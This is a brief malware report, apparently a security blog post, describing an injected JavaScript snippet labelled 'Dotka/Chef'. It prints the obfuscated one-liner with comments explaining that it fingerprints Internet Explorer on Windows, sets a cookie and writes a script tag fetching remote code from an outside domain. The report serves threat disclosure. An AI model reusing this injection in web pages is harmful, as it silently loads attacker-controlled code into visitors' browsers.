Suspicious Javascript: Dotka/Chef

Suspicious/Malicious
Reported by neonprimetime security
http://neonprimetime.blogspot.com

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// If their evil cookie does not exist
//     If User Agent contains 'Windows NT' and 'MSIE'
//           create their evil cookie
//           create their evil script link that does malicious things
d=document;ua=navigator.userAgent;if(d._zx===undefined && d.cookie.search('_utmud=')===1 && ua.search('Windows NT')>0 && ua.search('MSIE ')>0{d._zx=1;d.cookie='__utmud=1; expires=Wed, 01 Jan 2020 00:00:00 UTC; path=/'; d.writeln("<scr"+"ipt src='http://seris.biz/56ff9cc0.js?cp=ads.giftinc.com'></scri"+"pt>");}